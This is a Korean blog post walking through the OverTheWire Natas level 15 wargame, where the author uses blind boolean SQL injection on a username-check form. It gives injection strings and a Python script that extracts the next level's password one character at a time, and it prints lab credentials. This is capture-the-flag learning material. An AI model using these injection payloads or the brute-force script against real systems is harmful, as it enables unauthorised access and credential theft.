메뉴 건너뛰기

노루발의 개인 게시판

이번에는 Username이 존재하는지 확인해주는 페이지다. 소스코드를 보자:


먼저 다음 테이블이 있다고 가정한다.

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


username과 password 값을 알아내야 하는 것 같다. form의 쿼리는 다음과 같다:

SELECT * from users where username="입력값"


쿼리 결과가 1개 이상 존재한다면 This user exists를, 그렇지 않다면 This user doesn't exist를 표기한다.


만약 다음과 같은 쿼리를 넣는다면?

SELECT * from users where username="" or length(username)=1

SELECT * from users where username="" or length(username)=2

SELECT * from users where username="" or length(username)=3

...


username이 일정 글자가 될 때 쿼리 그 결과를 가져올 것이므로 username의 길이를 알아낼 수 있을 것이다.

Username 필드에 다음 값을 입력해보자:

" or length(username)=1 #

위의 값을 입력한다면 다음과 같은 쿼리가 실행된다:

SELECT * from users where username="" or length(username)=1 #"

username이 공백이거나 길이가 1일 때 결과를 가져오게 된다. (# 이후는 주석이므로 무시된다.)


" or length(username)=1 #

" or length(username)=2 #

" or length(username)=3 #

...

3글자와 7글자가 입력되었을 때 user가 존재한다고 한다.

3글자 username은 sam이나 bob 같은 이름일 것이고, 7글자 username이 무엇이 있을까 생각하다가

혹시 natas16이 있지 않을까? 생각하고 Username 필드애 natas16을 입력해보니 존재하는 유저라고 한다.


이제 같은 원리로 natas16의 password를 알아내보자.

일단은 password의 길이부터 알아보자... 그런데 Natas 문제 14개를 앞서 풀면서 우리는 각 natas 계정의 비밀번호는 32자리의 랜덤한 문자열임을 경험으로 알고 있다. 그래서 다음과 같은 값을 입력하여 아래의 쿼리를 실행하였다:


natas16" and length(password)=32 #

SELECT * from users where username="natas16" and length(password)=32 #"

This user exists가 출력되는 것으로 보아 natas16 계정의 password가 32글자임을 알 수 있다.


이제 32자리의 패스워드를 알아내야 하는데...

내가 생각한 방법으로는

natas16" and password like "a%" #

natas16" and password like "b%" #

natas16" and password like "c%" #

natas16" and password like "d%" #

...

이런 쿼리를 순차적으로 보내다가 언젠가 패스워드의 첫번째 글자가 맞으면 This user exists가 뜰 것이고

만약 패스워드 첫번째 글자가 w라면

natas16" and password like "wa%" #

natas16" and password like "wb%" #

natas16" and password like "wc%" #

natas16" and password like "wd%" #

...

이런 식으로 두번째 글자를 유추하는 방식으로 query를 계속 날리면 언젠가 password를 알아낼 수 있을 것이다.


손으로 하기에는 빡센 작업이니 python 스크립트를 작성해주자.

requests 라이브러리를 사용하므로 pip install requests 명령어를 실행해야 정상적으로 작동한다.


import requests

password = ""
chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]


for a in range(0, 32) :
    for b, in chars:
        print("Trying " + password + b + " as password...")
        postdata = {'username': 'natas16" and password like "' + password + b + '%" #'}
        r = requests.post('http://natas15.natas.labs.overthewire.org/', auth=('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=postdata)
        if "exists" in r.text:
            password = password + b
            break


결과값을 확인하니 패스워드가 온통 소문자다... 대소문자를 구분을 안 하나보다...

수동으로 쿼리를 넣어서 확인하니 확실하다...


natas16" and password like binary "a%" #

natas16" and password like binary "A%" #

위와 같이 binary 구문을 사용해야 대소문자를 구분할 수 있다고 한다...


        postdata = {'username': 'natas16" and password like binary "' + password + b + '%" #'}


코드를 위와 같이 수정해서 돌리면 natas16의 비밀번호를 얻을 수 있다...

마지막으로 얻은 password가 맞는지 다음 query를 날려서 확인해주자:


natas16" and password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh" #

분류 :
망한거
조회 수 :
21
등록일 :
2020.03.11
00:06:26 (*.47.15.90)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818078
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles